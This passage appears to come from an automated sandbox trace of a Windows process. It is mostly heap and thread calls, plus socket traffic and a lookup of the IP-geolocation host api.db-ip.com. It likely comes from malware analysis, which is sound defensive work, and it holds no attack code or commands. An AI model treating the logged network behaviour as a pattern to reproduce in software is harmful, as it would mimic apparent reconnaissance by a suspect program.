(hostshort=0xbb01) returned 0x1bb [0119.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1d8) returned 0x2d24c58 [0119.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2a0d08 [0119.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x60) returned 0x2aff60 [0119.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d36560 [0119.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x48) returned 0x2d45f98 [0119.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36128 [0119.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ac8 [0119.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36228 [0119.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ae0 [0119.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d253a0 [0119.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2b8 [0119.485] GetCurrentThreadId () returned 0x9fc [0119.485] GetCurrentThreadId () returned 0x9fc [0119.485] GetCurrentThreadId () returned 0x9fc [0119.485] GetCurrentThreadId () returned 0x9fc [0119.485] GetCurrentThreadId () returned 0x9fc [0119.485] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] GetCurrentThreadId () returned 0x9fc [0119.486] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9c4) returned 0x2d4aea0 [0119.486] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x404) returned 0x2d24e80 [0119.486] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0119.486] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x348) returned 0x2d24e80 [0119.486] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0119.486] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36288 [0119.486] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0119.486] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x20) returned 0x2d4a2e0 [0119.486] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a2e0, Size=0x40) returned 0x2d36488 [0119.486] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d36488, Size=0x80) returned 0x2d4ead8 [0119.486] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2d59108 [0119.486] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d59108, Size=0x200) returned 0x2d37aa0 [0119.486] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aea0 | out: hHeap=0x2a0000) returned 1 [0119.487] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ec8 [0119.487] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0119.487] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x200) returned 0x2d37898 [0119.487] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d253d8 [0119.487] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2e0 [0119.487] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360c8 [0119.487] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.487] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.488] GetCurrentThreadId () returned 0x9fc [0119.489] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d4a0a0 [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] GetCurrentThreadId () returned 0x9fc [0119.489] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a0a0 | out: hHeap=0x2a0000) returned 1 [0119.489] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34ba0 [0119.489] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34bb8 [0119.489] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35da8 [0119.489] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x11112dc0, cbMultiByte=24, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 24 [0119.489] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x8, lpMultiByteStr=0x11112dc0, cbMultiByte=24, lpWideCharStr=0x18fa30, cchWideChar=24 | out: lpWideCharStr="/usr/local/ssl/cert.pem") returned 24 [0119.489] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x110f18d8, cbMultiByte=2, lpWideCharStr=0x18fa74, cchWideChar=8 | out: lpWideCharStr="r") returned 2 [0119.490] CreateFileW (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.490] GetLastError () returned 0x3 [0119.490] GetLastError () returned 0x3 [0119.490] CreateFileA (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8f0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.490] GetLastError () returned 0x3 [0119.490] GetLastError () returned 0x3 [0119.490] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35a10, Size=0x20) returned 0x2d4a560 [0119.490] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a560, Size=0x40) returned 0x2d36488 [0119.490] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d36488, Size=0x80) returned 0x2d4ead8 [0119.490] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2d59108 [0119.490] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d59108, Size=0x200) returned 0x2d37488 [0119.490] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aea0 | out: hHeap=0x2a0000) returned 1 [0119.490] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d363c8 [0119.490] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a10 [0119.491] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35a10, Size=0x200) returned 0x2d37690 [0119.491] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d37aa0 | out: hHeap=0x2a0000) returned 1 [0119.491] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36288 | out: hHeap=0x2a0000) returned 1 [0119.491] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d37898 | out: hHeap=0x2a0000) returned 1 [0119.491] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ec8 | out: hHeap=0x2a0000) returned 1 [0119.491] setsockopt (s=0x12c, level=65535, optname=4102, optval="0u", optlen=4) returned 0 [0119.491] setsockopt (s=0x12c, level=65535, optname=4101, optval="0u", optlen=4) returned 0 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="v", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="t", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0119.491] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="/", cchCount1=1, lpString2="/", cchCount2=1) returned 2 [0119.492] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1dc) returned 0x2d48998 [0119.492] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2d24e80 [0119.492] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d25410 [0119.492] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a560 [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x42c) returned 0x2d50ac0 [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ec8 [0119.492] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a10 [0119.492] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d36488 [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.492] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="api.db-ip.com", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0119.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="api.db-ip.com", cchWideChar=13, lpMultiByteStr=0x7f2fcc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="api.db-ip.com", lpUsedDefaultChar=0x0) returned 13 [0119.493] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d356f8 [0119.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa90 | out: lpSystemTimeAsFileTime=0x18fa90*(dwLowDateTime=0x981face0, dwHighDateTime=0x1d60051)) [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d48b80 [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48b80 | out: hHeap=0x2a0000) returned 1 [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.493] GetCurrentThreadId () returned 0x9fc [0119.494] GetCurrentThreadId () returned 0x9fc [0119.494] GetCurrentThreadId () returned 0x9fc [0119.494] GetCurrentThreadId () returned 0x9fc [0119.494] GetCurrentThreadId () returned 0x9fc [0119.494] GetCurrentThreadId () returned 0x9fc [0119.494] GetCurrentThreadId () returned 0x9fc [0119.494] GetCurrentThreadId () returned 0x9fc [0119.494] GetCurrentThreadId () returned 0x9fc [0119.494] GetCurrentThreadId () returned 0x9fc [0119.494] GetCurrentThreadId () returned 0x9fc [0119.494] GetCurrentThreadId () returned 0x9fc [0119.494] GetCurrentThreadId () returned 0x9fc [0119.494] SetLastError (dwErrCode=0x0) [0119.494] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35410 [0119.494] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5558) returned 0x2d3b470 [0119.494] GetCurrentThreadId () returned 0x9fc [0119.494] GetCurrentThreadId () returned 0x9fc [0119.494] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4548) returned 0x2d518f8 [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x44b0) returned 0x2d409d0 [0119.495] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d365f0 [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa28 | out: lpSystemTimeAsFileTime=0x18fa28*(dwLowDateTime=0x98220e40, dwHighDateTime=0x1d60051)) [0119.495] GetCurrentThreadId () returned 0x9fc [0119.495] GetCurrentThreadId () returned 0x9fc [0119.496] GetCurrentThreadId () returned 0x9fc [0119.496] GetCurrentThreadId () returned 0x9fc [0119.496] GetCurrentThreadId () returned 0x9fc [0119.496] GetCurrentThreadId () returned 0x9fc [0119.496] WSASetLastError (iError=0) [0119.496] send (s=0x12c, buf=0x2d3b470*, len=329, flags=0) returned 329 [0119.496] WSASetLastError (iError=0) [0119.496] recv (in: s=0x12c, buf=0x2d518f8, len=7, flags=0 | out: buf=0x2d518f8*) returned 7 [0119.522] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d365a8 [0119.522] GetCurrentThreadId () returned 0x9fc [0119.522] GetCurrentThreadId () returned 0x9fc [0119.522] GetCurrentThreadId () returned 0x9fc [0119.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa40 | out: lpSystemTimeAsFileTime=0x18fa40*(dwLowDateTime=0x98246fa0, dwHighDateTime=0x1d60051)) [0119.522] GetCurrentThreadId () returned 0x9fc [0119.522] GetCurrentThreadId () returned 0x9fc [0119.522] GetCurrentThreadId () returned 0x9fc [0119.522] WSASetLastError (iError=0) [0119.522] recv (in: s=0x12c, buf=0x2d51902, len=61, flags=0 | out: buf=0x2d51902*) returned 61 [0119.522] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1) returned 0x2d4abc8 [0119.522] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d355a8 [0119.522] SetLastError (dwErrCode=0x0) [0119.522] WSASetLastError (iError=0) [0119.522] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.523] SetLastError (dwErrCode=0x0) [0119.523] WSASetLastError (iError=0) [0119.523] recv (in: s=0x12c, buf=0x2d51900, len=2201, flags=0 | out: buf=0x2d51900*) returned 2201 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd7c) returned 0x2d581f0 [0119.523] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d50ef8 | out: hHeap=0x2a0000) returned 1 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36288 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d355f0 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2d58f78 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2d56340 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354d0 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4acd8 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35620 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35368 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab88 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35638 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d358c0 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36428 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fc8 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35ab8 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35578 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35740 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4abe8 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d353c8 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ac78 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35338 [0119.523] GetCurrentThreadId () returned 0x9fc [0119.523] GetCurrentThreadId () returned 0x9fc [0119.523] GetCurrentThreadId () returned 0x9fc [0119.523] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d357a0, Size=0x20) returned 0x2d4a498 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ee8 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d357a0 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f30 [0119.523] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35308 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36148 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aae8 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d362e8 [0119.524] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35368 | out: hHeap=0x2a0000) returned 1 [0119.524] HeapFree (in: hHeap=0x2a0000, 